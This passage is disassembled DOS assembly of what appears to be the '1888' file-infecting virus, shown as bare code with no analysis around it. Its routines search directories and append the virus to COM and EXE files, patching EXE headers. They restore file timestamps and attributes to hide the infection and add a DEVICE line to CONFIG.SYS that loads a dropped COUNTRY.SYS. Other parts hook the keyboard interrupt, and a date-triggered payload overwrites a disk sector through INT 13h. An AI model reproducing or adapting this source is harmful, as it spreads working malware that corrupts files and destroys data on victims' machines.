Set cmp data_011E,0 je loc_07DB ; Jump if equal call sub_03BB jmp short loc_07DE loc_07DB: call sub_0472 loc_07DE: call sub_037D jc loc_083A ; Jump if carry Set inc data_019C cmp data_019B,1 je loc_07FA ; Jump if equal call sub_04DE jz loc_07FA ; Jump if zero call sub_0525 jc loc_083A ; Jump if carry Set jmp short loc_07AF loc_07FA: mov ah,4Fh ; 'O' int 21h ; DOS Services ah=function 4Fh ; find next filename match jnc loc_07B4 ; Jump if carry=0 loc_0800: cmp data_011E,1 je loc_080E ; Jump if equal mov data_011E,1 jmp short loc_07AF loc_080E: mov data_011E,0 cmp data_019A,0 jne loc_0829 ; Jump if not equal lea dx,data_015A ; ('C:\') Load effective addr mov ah,3Bh ; ';' int 21h ; DOS Services ah=function 3Bh ; set current dir, path @ ds:dx mov data_019A,0FFh jmp short loc_07AF loc_0829: cmp data_0182,0 je loc_083A ; Jump if equal call sub_0328 dec data_0182 jmp loc_07AF loc_083A: lea dx,data_013A ; ('\DANGER\1888') Load effective addr mov ah,3Bh ; ';' int 21h ; DOS Services ah=function 3Bh ; set current dir, path @ ds:dx call sub_04DE jz loc_084A ; Jump if zero call sub_04EE loc_084A: mov ax,word ptr data_012C+2 mov es,ax mov cx,5Bh mov si,offset data_070C xor di,di ; Zero register rep movsb ; Rep when cx >0 Mov [si] to es:[di] call sub_028C call data_012C int 20h ; DOS program terminate db 0E9h, 64h, 06h, 20h,0A4h, 86h db 0FCh, 18h, 02h, 00h, 00h, 00h db 31h, 2Eh, 43h, 4Fh, 4Dh, 00h db 20h, 20h, 4Dh, 00h, 00h, 00h db 0A6h, 24h, 00h, 00h, 60h, 07h db 00h, 00h, 60h, 07h, 60h, 07h db 0FEh,0FFh, 6Ch, 0Dh, 6Ch, 0Dh db 94h, 92h, 00h, 00h, 01h, 9Eh db 0C8h, 07h, 07h, 1Ch, 02h, 10h db 00h, 00h, 00h, 00h, 5Ch, 00h db 4Fh, 53h, 53h, 49h, 00h, 45h db 4Eh, 00h db 53h, 54h db 20 dup (0) db 'C:\', 0 db '*', 0 db 'NETWARE', 0 db 'LMS', 0 db 'MAUS', 0 db 'MDB', 0 db 'DOS', 0 db 'BASE', 0 db 'L', 0 db '`' db 01h, 00h, 01h, 14h, 17h, 6Eh db 00h, 01h,0A9h, 00h, 01h,0BFh db 38h, 2Ah, 2Eh, 65h, 78h, 65h db 00h, 2Ah, 2Eh, 63h, 6Fh, 6Dh db 00h, 00h, 00h, 04h, 01h db 3Fh db 7 dup (3Fh) db 43h, 4Fh, 4Dh, 23h, 0Ah, 00h db 00h, 00h, 31h,0C0h, 50h, 9Ah db 20h,0A4h, 86h,0FCh, 18h, 02h db 00h, 00h, 00h, 31h, 2Eh, 43h db 4Fh, 4Dh, 00h, 20h, 20h, 4Dh db 00h, 00h, 00h,0A6h,0EAh,0AAh db 03h, 00h,0CCh,0AAh, 03h, 00h db 00h, 31h, 31h, 00h, 40h, 48h db 07h, 00h, 40h, 6Ch, 15h, 6Ch db 15h, 00h, 40h, 05h, 00h, 60h db 07h, 00h, 01h,0C8h, 01h, 19h db 01h, 82h, 08h, 6Ch, 0Dh, 6Ch db 0Dh,0ADh, 04h, 6Ch, 0Dh, 46h db 72h,0DEh, 07h ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0959 proc near cmp data_011C,0 jne loc_0969 ; Jump if not equal mov ax,760h mov data_011C,ax mov data_0120,ax loc_0969: mov al,data_011E mov data_011F,al mov ax,data_0120 mov data_0122,ax inc data_0119 mov data_019C,0 mov data_019A,0 mov data_019B,0 retn sub_0959 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0989 proc near lea dx,data_0183 ; Load effective addr xor al,al ; Zero register mov ah,3Dh ; '=' int 21h ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx jc loc_ret_099B ; Jump if carry Set mov bx,ax mov ah,3Eh ; '>' int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle loc_ret_099B: retn sub_0989 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_099C proc near mov ah,2Ah ; '*' int 21h ; DOS Services ah=function 2Ah ; get date, cx=year, dh=month ; dl=day, al=day-of-week 0=SUN mov ah,dh cmp cx,data_0130 je loc_09AB ; Jump if equal add ah,0Ch loc_09AB: sub ah,data_0132 mov data_011B,ah mov data_0134,al mov data_0133,dl mov data_0132,dh mov data_0130,cx mov ah,2Ch ; ',' int 21h ; DOS Services ah=function 2Ch ; get time, cx=hrs/min, dx=sec mov data_0135,ch retn sub_099C endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_09CB proc near mov ax,es dec ax push es mov es,ax mov ax,es:d_8B38_0003_e mov data_012A,ax pop es mov bx,ax sub bx,200h mov ah,4Ah ; 'J' int 21h ; DOS Services ah=function 4Ah ; change memory allocation ; bx=bytes/16, es=mem segment mov bx,150h mov ah,48h ; 'H' int 21h ; DOS Services ah=function 48h ; allocate memory, bx=bytes/16 mov word ptr data_012C+2,ax retn sub_09CB endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_09EE proc near push es mov ax,word ptr data_012C+2 mov es,ax mov ah,49h ; 'I' int 21h ; DOS Services ah=function 49h ; release memory block, es=seg mov ax,data_0128 mov es,ax mov bx,data_012A mov ah,4Ah ; 'J' int 21h ; DOS Services ah=function 4Ah ; change memory allocation ; bx=bytes/16, es=mem segment pop es retn sub_09EE endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0A07 proc near push ds mov ah,1Bh int 21h ; DOS Services ah=function 1Bh ; get disk info, default drive ; al=sectors per cluster ; ds:bx=ptr to media ID byte ; cx=sector size, dx=clusters cmp byte ptr [bx],0F8h pop ds retn sub_0A07 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0A11 proc near lea si,data_019D ; Load effective addr mov di,si xor dl,dl ; Zero register mov ah,47h ; 'G' int 21h ; DOS Services ah=function 47h ; get present dir,drive dl,1=a: ; ds:si=ASCIIZ directory name mov cx,30h mov al,0 repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al mov cx,di sub cx,si lea di,data_013A ; ('\DANGER\1888') Load effective addr mov al,5Ch ; '\' stosb ; Store al to es:[di] rep movsb ; Rep when cx >0 Mov [si] to es:[di] retn sub_0A11 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0A32 proc near mov data_0182,0 lea bx,cs:[160h] ; Load effective addr add bx,20h mov data_0180,bx sub bx,20h lea dx,data_015A+4 ; ('*') Load effective addr mov cx,33h mov ah,4Eh ; 'N' int 21h ; DOS Services ah=function 4Eh ; find 1st filenam match @ds:dx jc loc_0A81 ; Jump if carry Set loc_0A52: lea di,data_019D ; Load effective addr add di,1Eh cmp byte ptr [di],2Eh ; '.' je loc_0A7B ; Jump if equal mov si,di mov cx,20h mov al,0 repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al mov cx,di sub cx,si mov di,bx add bx,cx cmp bx,data_0180 ja loc_0A81 ; Jump if above rep movsb ; Rep when cx >0 Mov [si] to es:[di] inc data_0182 loc_0A7B: mov ah,4Fh ; 'O' int 21h ; DOS Services ah=function 4Fh ; find next filename match jnc loc_0A52 ; Jump if carry=0 loc_0A81: lea bx,cs:[160h] ; Load effective addr mov data_0180,bx retn sub_0A32 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0A8A proc near cmp data_0182,0 je loc_ret_0AAE ; Jump if equal lea dx,data_013A ; ('\DANGER\1888') Load effective addr mov ah,3Bh ; ';' int 21h ; DOS Services ah=function 3Bh ; set current dir, path @ ds:dx mov dx,data_0180 mov di,dx mov ah,3Bh ; ';' int 21h ; DOS Services ah=function 3Bh ; set current dir, path @ ds:dx mov al,0 mov cx,20h repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al mov data_0180,di loc_ret_0AAE: retn sub_0A8A endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0AAF proc near mov ax,data_0104 and al,1Fh cmp al,1Eh retn sub_0AAF endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0AB7 proc near lea dx,data_0194 ; Load effective addr cmp data_011E,0 je loc_0AC6 ; Jump if equal lea dx,data_018E ; Load effective addr loc_0AC6: mov cx,23h mov ah,4Eh ; 'N' int 21h ; DOS Services ah=function 4Eh ; find 1st filenam match @ds:dx retn sub_0AB7 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0ACE proc near lea si,data_019D ; Load effective addr add si,15h lea di,data_0103 ; Load effective addr mov cx,16h rep movsb ; Rep when cx >0 Mov [si] to es:[di] retn sub_0ACE endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0ADF proc near pushf ; Push flags mov cx,data_0104 or cl,1Fh and cl,0FEh mov dx,data_0106 mov ax,5701h int 21h ; DOS Services ah=function 57h ; set file date+time, bx=handle ; cx=time, dx=time mov ah,3Eh ; '>' int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle lea dx,data_010C ; ('1888.COM') Load effective addr xor ch,ch ; Zero register mov cl,data_0103 mov ax,4301h int 21h ; DOS Services ah=function 43h ; set attrb cx, filename @ds:dx popf ; Pop flags retn sub_0ADF endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0B08 proc near lea dx,data_010C ; ('1888.COM') Load effective addr xor cx,cx ; Zero register mov ax,4301h int 21h ; DOS Services ah=function 43h ; set attrb cx, filename @ds:dx jc loc_ret_0B1C ; Jump if carry Set mov ax,3D02h int 21h ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx mov bx,ax loc_ret_0B1C: retn sub_0B08 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0B1D proc near push ds mov ax,word ptr data_012C+2 mov ds,ax mov cx,100h xor dx,dx ; Zero register mov ah,3Fh ; '?' int 21h ; DOS Services ah=function 3Fh ; read file, bx=file handle ; cx=bytes to ds:dx buffer cmp word ptr ds:d_9E01_0000_e,5A4Dh nop ;*ASM fixup - sign extn byte je loc_0B38 ; Jump if equal stc ; Set carry flag jmp loc_0BB7 loc_0B38: call sub_0BB9 push ax mov ax,di and ax,0Fh mov cx,10h xor dx,dx ; Zero register sub cx,ax mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer jnc loc_0B51 ; Jump if carry=0 jmp short loc_0BB7 db 90h loc_0B51: mov si,ax mov cx,100h mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer jc loc_0BB7 ; Jump if carry Set pop dx mov ax,di add ax,si add ax,100h cmp ax,200h jb loc_0B6D ; Jump if below and ax,1FFh inc dx loc_0B6D: mov cl,4 shr ax,cl ; Shift w/zeros fill dec dx mov cl,5 shl dx,cl ; Shift w/zeros fill sub dx,ds:d_9E01_0008_e add ax,dx sub ax,10h mov ds:d_9E01_0016_e,ax mov word ptr ds:d_9E01_0014_e,100h push ds mov ax,cs mov ds,ax mov cx,data_011C mov dx,100h mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer pop ds jc loc_0BB7 ; Jump if carry Set call sub_0BB9 mov ds:d_9E01_0002_e,di mov ds:d_9E01_0004_e,ax mov ax,4200h xor dx,dx ; Zero register xor cx,cx ; Zero register int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset jc loc_0BB7 ; Jump if carry Set mov cx,100h mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer loc_0BB7: pop ds retn sub_0B1D endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0BB9 proc near mov ax,4202h xor cx,cx ; Zero register xor dx,dx ; Zero register int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset mov di,ax and di,1FFh mov cl,9 shr ax,cl ; Shift w/zeros fill mov cl,7 shl dx,cl ; Shift w/zeros fill add ax,dx inc ax retn sub_0BB9 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0BD4 proc near mov ax,data_0108 mov data_0120,ax mov cx,data_011C cmp cx,ax jb loc_0BEA ; Jump if below mov data_0120,cx mov cx,data_0108 loc_0BEA: push ds mov ax,word ptr data_012C+2 mov ds,ax xor dx,dx ; Zero register mov ah,3Fh ; '?' int 21h ; DOS Services ah=function 3Fh ; read file, bx=file handle ; cx=bytes to ds:dx buffer pop ds jc loc_ret_0C3F ; Jump if carry Set mov ax,4200h xor dx,dx ; Zero register xor cx,cx ; Zero register int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset jc loc_ret_0C3F ; Jump if carry Set mov dx,100h mov cx,data_011C mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer jc loc_ret_0C3F ; Jump if carry Set cmp ax,data_0108 ja loc_0C2E ; Jump if above mov ax,4200h mov dx,data_0108 mov data_0120,dx xor cx,cx ; Zero register int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset jc loc_ret_0C3F ; Jump if carry Set mov cx,data_011C jmp short loc_0C32 loc_0C2E: mov cx,data_0108 loc_0C32: push ds mov ax,word ptr data_012C+2 mov ds,ax xor dx,dx ; Zero register mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer pop ds loc_ret_0C3F: retn sub_0BD4 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0C40 proc near cmp data_011B,2 ja loc_0C4A ; Jump if above xor ax,ax ; Zero register retn loc_0C4A: mov al,data_0133 and al,1 retn sub_0C40 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0C50 proc near cmp data_0133,0Fh jb loc_0C69 ; Jump if below mov al,data_0135 cmp al,13h jb loc_0C69 ; Jump if below mov ax,40h mov es,ax mov byte ptr es:d_0040_004A_e,23h ; '#' loc_0C69: cmp data_0133,0Dh jne loc_ret_0C86 ; Jump if not equal cmp data_0134,5 jne loc_ret_0C86 ; Jump if not equal mov ax,301h mov cx,1 mov dx,50h xor bx,bx ; Zero register mov es,bx int 13h ; Disk dl=drive ? ah=func 03h ; write sectors from mem es:bx ; al=#,ch=cyl,cl=sectr,dh=head loc_ret_0C86: retn sub_0C50 endp ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0C87 proc near mov data_019B,1 lea dx,data_05C1 ; Load effective addr mov cx,27h mov ah,4Eh ; 'N' int 21h ; DOS Services ah=function 4Eh ; find 1st filenam match @ds:dx jnc loc_0CC6 ; Jump if carry=0 mov ah,3Ch ; '<' mov cx,6 int 21h ; DOS Services ah=function 3Ch ; create/truncate file @ ds:dx mov bx,ax lea dx,data_05EE ; Load effective addr mov cx,data_070A mov si,dx add si,data_00B3_e mov ax,data_0130 mov [si],ax mov ah,data_0132 mov [si+2],ah mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer mov ah,3Eh ; '>' int 21h ; DOS Services ah=function 3Eh ; close file, bx=file handle jc loc_0D1F ; Jump if carry Set loc_0CC6: lea dx,data_05C7 ; ('C:\CONFIG.SYS') Load effective add mov cx,27h mov ah,4Eh ; 'N' int 21h ; DOS Services ah=function 4Eh ; find 1st filenam match @ds:dx jc loc_0D1F ; Jump if carry Set call sub_0ACE xor cx,cx ; Zero register mov ax,4301h int 21h ; DOS Services ah=function 43h ; set attrb cx, filename @ds:dx mov ax,3D02h int 21h ; DOS Services ah=function 3Dh ; open file, al=mode,name@ds:dx mov bx,ax jc loc_0D1F ; Jump if carry Set mov cx,data_0108 push es push ds mov ax,word ptr data_012C+2 mov ds,ax mov es,ax xor dx,dx ; Zero register mov ah,3Fh ; '?' int 21h ; DOS Services ah=function 3Fh ; read file, bx=file handle ; cx=bytes to ds:dx buffer pop ds mov dx,ax mov ax,0FFFFh xor di,di ; Zero register repne scasb ; Rep zf=0+cx >0 Scan es:[di] for al cmp ax,es:[di-1] pop es jz loc_0D1F ; Jump if zero mov ax,4200h xor cx,cx ; Zero register dec dx int 21h ; DOS Services ah=function 42h ; move file ptr, bx=file handle ; al=method, cx,dx=offset jc loc_0D1F ; Jump if carry Set lea dx,data_05D5 ; ('DEVICE =') Load effective addr mov cx,19h mov ah,40h ; '@' int 21h ; DOS Services ah=function 40h ; write file bx=file handle ; cx=bytes from ds:dx buffer loc_0D1F: call sub_0ADF retn sub_0C87 endp inc bx cmp bl,[si-1] inc word ptr [bx+si] inc bx cmp bl,[si+43h] dec di dec si inc si dec cx inc di db 2Eh, 53h, 59h, 53h, 00h db 'DEVICE =' db 0FFh,0FFh db ' COUNTRY.SYS', 0Dh, 0Ah db 1Ah,0FFh,0FFh,0FFh,0FFh, 40h db 0C8h, 16h, 00h, 21h, 00h db 'hgt42 ' db 00h, 00h, 00h, 00h, 2Eh, 89h db 1Eh, 12h, 00h, 2Eh, 8Ch, 06h db 14h, 00h,0CBh, 1Eh, 06h, 0Eh db 1Fh,0C4h, 3Eh, 12h, 00h, 26h db 8Ah, 45h, 02h, 3Ch, 00h, 75h db 03h,0E8h, 82h, 00h db 0Dh, 00h, 10h, 26h, 89h, 45h db 03h, 07h, 1Fh,0CBh, 50h, 53h db 51h, 1Eh db 0E4h, 60h,0A8h, 80h, 75h, 30h db 2Eh, 8Bh, 1Eh,0A9h, 00h, 3Ah db 0C7h, 75h, 27h,0B8h, 40h, 00h db 8Eh,0D8h,0E8h, 28h, 00h, 25h db 05h, 00h, 8Bh,0C8h db 0BBh, 1Ch, 00h locloop_0DB1: mov ax,cs:data_00A9_e mov [bx],ax add bx,2 cmp bx,3Fh jb loc_0DC2 ; Jump if below mov bx,1Eh loc_0DC2: mov word ptr ds:[1Ch],bx loop locloop_0DB1 ; Loop if cx > 0 loc_0DC8: pop ds pop cx pop bx pop ax jmp dword ptr cs:data_00A3_e ;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß ; SUBROUTINE ;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ sub_0DD1 proc near mov ax,cs:data_00A7_e push ax and ah,0B4h pop ax jp loc_0DDD ; Jump if parity=1 stc ; Set carry flag loc_0DDD: rcl ax,1 ; Rotate thru carry mov cs:data_00A7_e,ax retn sub_0DD1 endp db 'hgt42 ' db 00h, 56h, 31h, 00h, 46h, 52h db 44h, 00h, 00h, 00h, 00h, 00h db 00h, 65h, 12h, 65h, 73h, 74h db 6Eh, 12h, 1Fh, 14h, 31h,0CDh db 0ABh,0EFh db 06h, 57h,0B4h, 2Ah,0CDh, 21h db 8Ah,0E6h, 3Bh, 0Eh,0B3h, 00h db 74h, 03h, 80h,0C4h db 0Ch loc_0E17: sub ah,ds:data_00B5_e cmp ah,3 jb loc_0E5D ; Jump if below mov ds:data_00B5_e,dh mov ds:data_00B3_e,cx mov ah,2Ch ; ',' int 21h ; DOS Services ah=function 2Ch ; get time, cx=hrs/min, dx=sec mov ds:data_00A7_e,dx call sub_0DD1 mov bx,ax and bx,3 nop ;*ASM fixup - sign extn byte mov al,ds:data_00AB_e[bx] mov ah,ds:data_00AF_e[bx] mov ds:data_00A9_e,ax mov ax,3516h int 21h ; DOS Services ah=function 35h ; get intrpt vector al in es:bx mov ds:data_00A3_e,bx mov bx,es mov word ptr ds:data_00A3_e+2,bx cli ; Disable interrupts ;* mov dx,offset loc_003E ;* db 0BAh, 3Eh, 00h mov ax,2516h int 21h ; DOS Services ah=function 25h ; set intrpt vector al to ds:dx sti ; Enable interrupts loc_0E5D: pop di pop es mov word ptr es:[di+0Eh],0B6h mov es:[di+10h],cs xor ax,ax ; Zero register retn db 1Ch db 01h, 8Bh, 1Eh, 28h, 01h,0A1h db 26h, 01h, 8Eh,0D0h, 8Bh, 26h db 24h, 01h, 83h,0ECh, 04h, 8Bh db 0F4h, 80h, 3Eh, 1Fh, 01h, 00h db 75h, 28h,0BFh, 00h, 01h, 36h db 89h, 3Ch, 8Bh,0FBh, 36h, 89h db 7Ch, 02h, 33h,0FFh, 36h, 89h db 7Ch, 04h db 0BFh, 00h, 01h, 8Bh, 36h, 22h db 01h, 03h,0F7h, 8Bh, 0Eh, 1Ch db 01h, 8Ch,0D8h, 8Eh,0C0h,0F3h db 0A4h,0EBh, 16h, 90h loc_0EAF: mov di,bx add di,10h mov ax,ds:data_0016_e add di,ax mov ss:[si+2],di mov di,word ptr ds:data_0012_e+2 mov ss:[si],di loc_0EC4: mov ds,bx mov es,bx retf ; Return far db 8Ch,0D0h, 2Eh,0A3h, 26h, 01h db 2Eh, 89h, 26h, 24h, 01h, 8Ch db 0C8h, 8Eh,0D0h,0BCh,0F7h, 01h db 1Eh, 8Eh,0D8h, 58h,0A3h, 28h db 01h,0E8h,0E6h,0FAh, 8Ch,0C8h db 8Eh,0C0h,0E8h, 6Dh,0FAh db 0BAh, 9Dh, 01h,0B4h, 1Ah,0CDh db 21h,0E8h, 1Bh,0FBh,0E8h, 